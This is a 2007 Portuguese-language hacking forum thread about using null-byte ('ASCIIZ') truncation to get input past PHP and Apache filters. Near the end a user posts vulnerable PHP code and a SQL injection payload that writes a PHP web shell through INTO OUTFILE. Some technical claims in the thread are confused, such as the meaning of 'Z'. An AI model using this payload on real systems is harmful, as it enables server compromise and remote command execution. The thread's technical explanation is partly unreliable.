ASCIIZ - um novo conceito de burlar defensas

Started by rog, 17 de December , 2007, 09:08:29 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

rog

mais um que passou meio despercebido

ums caras acharam um meio de burlar algumas funçoes apache/perl/php que defendam os scripts contra injeçao de codigo maliciosos

chama se de ASCIIZ

ASCII porque se trata de caracteros ascii (http://asciitable.com)
Z porque Z close ou seja um null que acaba a string

o sistema :
apache pega uma string do tipo ascii + null + ascii_malicioso e mande para os engines para ser tratados

a maioria dos engines sao programadas em C e C++, a falha e devida ao seguinte concept :

- a variavel e mappeada em memoria como char e na hora de tratar ela e convertida em string, entao o null da um fim a string

entao a funçao vai pegar a string para checar se tem codigo malicioso mas infelizemente para o dono da maquina, o null da um zclose na string e o codigo depois do null nao e tratado
lol

assim

- apache => php => ascii + null + ascii_malicioso
- processamente da string ascii
- sendo que null + ascii_malicioso nao vai ser processado

rog
realty.sys is corrupt :  reboot the universe (Y/N)

Wuefez

Desde quando Z vale como null byte?

Nunca ouvi falar disso na minha vida, tem algum working PoC?


"Quem fala não faz."

Ilmo. Sr. JulianoRossi

Quote from: "Wuefez"Desde quando Z vale como null byte?

[2]

Aonde teria algo mais sobre o assunto?
"Pior do que a insegurança...
... é a falsa sensação de estar seguro."

#phobia

lol

Encontrei isso e acho que pode esclarece um pouco também...

QuoteASCIIZ strings

You can think of ASCIIZ strings (or its synonym ASCIZ) as fixed-length strings where the last character is always a nul (CHR$(0) or $NUL) terminator.  Like fixed-length strings, ASCIIZ strings contain character data of fixed length and any attempt to assign a string longer than the defined length will result in truncation.

If you assign a string (a string literal, or a dynamic or fixed-length string variable) to an ASCIIZ string that is shorter than the defined length, the string will not be padded on the right.  Instead, the nul-terminator goes right after the last string character.  The contents of the remainder of the string buffer are undetermined.  Because an ASCIIZ string requires the nul-terminator byte, ASCIIZ strings are usually defined with a length of at least two bytes.

You declare ASCIIZ string variables using the ASCIIZ or ASCIZ keywords with the DIM statement.  For example:

DIM MyStr1 AS ASCIIZ * 40
DIM MyStr2 AS ASCIZ * 40


This creates a 40 byte ASCIIZ string named MyStr.  The number of characters you can store in an ASCIIZ string is always one less than the defined length of the string.  The last character is used to hold the nul-terminator.  Therefore, a 40 byte ASCIIZ string can hold up to 39 characters.  If you need 40 usable bytes, DIM the string to have a 41 byte length.  It is on this basis that ASCIIZ strings should be defined with a length of at least two bytes.

When assigning string data to an ASCIIZ string, the assignment will stop if an embedded $NUL byte is encountered.  For example:

DIM a AS STRING
DIM b AS ASCIIZ * 10
a = CHR$("ABC", 0, "DEF")
b = a  ' B will contain "ABC"


Unlike dynamic strings, the length of ASCIIZ strings is determined at compile-time, not run-time.  In addition, unlike dynamic strings, ASCIIZ strings do not use handles.  When you pass an ASCIIZ string to a routine, you are actually passing a pointer to the string's data.

The address of the contents of an ASCIIZ string can always be obtained with the VARPTR function.  LOCAL ASCIIZ string memory is released when the associated Sub or Function ends.  Subsequent calls to the Sub or Function will result in new storage locations for the ASCIIZ string data; however, the location of a LOCAL fixed-length string does not move until the string memory is released when the Sub/Function terminates.

LOCAL ASCIIZ strings are created on the stack frame, so LOCAL ASCIIZ strings will be limited to the amount of available stack space available.  Typically this is less than 1 Mb unless a larger stack frame has been allocated with #STACK metastatement.  If larger ASCIIZ (or fixed-length) strings are required, it is advisable to make them STATIC or GLOBAL since those are not created within the stack frame.

The address of the contents of STATIC and GLOBAL ASCIIZ strings stays constant for the duration of the module.  STATIC and GLOBAL Scalar (non-array) ASCIIZ strings may be up to 16,777,216 bytes each.

By: http://www.powerbasic.com/support/help/ ... trings.htm

Não sei viu Wuefez..
O ASCIIZ diz que último caractere é sempre nul!

Sei lá foi o que eu entendi e acho que foi por isso que o rog disse que o Z é nul...


Enfim, não sei muito do assunto, mas estou me ingressando! ^^
Acho que é isso! ::)

Bye!

Reeves

lol  ;)
mto bom!
vou da um search no assunto..
is Hot!
  °vº   NÃO USE DROGAS,
/(_)\  USE GNU/LINUX
^ ^

rog

z porque zclose foi usado para determinar uma connexao fechada pelo null

por isso a Z no siglo ASCIIZ

tem outra que passou despercebida vou postar amanha

rog
realty.sys is corrupt :  reboot the universe (Y/N)

Cloudy

Rog, todas as versões vulneráveis? Ou tem restrições quanto a versões vuls?

...by Cloudy
"You have to be trusted by the people tou lied to, so when they turn their back on you, you have the chance to the put the knife in." (Roger Waters)

...by Cloudy

rog

nao tem versao especifica, funfou no modulo mod_security do apache e depois dizem que foi corrigido, funfou na funçao mail() do php e depois dizem que foi corrigido

pode funfar em qualquer programa que converte um char mappeado em memoria e converte em string para tratar lo

rog
: Dezembro 18, 2007, 11:05:46 aqui um tipo de caso onde poderia testar

if(isset($_GET['edit']) and is_numeric($_GET['edit'])) {
   $Id = $_GET['edit'] ;
   $sql = 'SELECT * FROM news WHERE newsId = "'.$Id.'" LIMIT 1' ;


se eu passar o edit como :

12\0'  or 'x'='x' UNION SELECT 0,0,0,0,0,0,'Hi Master<?print `system($_GET[cmd])`;?>',0,0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM uma_tabela_existante/*";
e se a funçao is_numeric for vulneravel à ASCIIZ, ta feito o serviço

rog
realty.sys is corrupt :  reboot the universe (Y/N)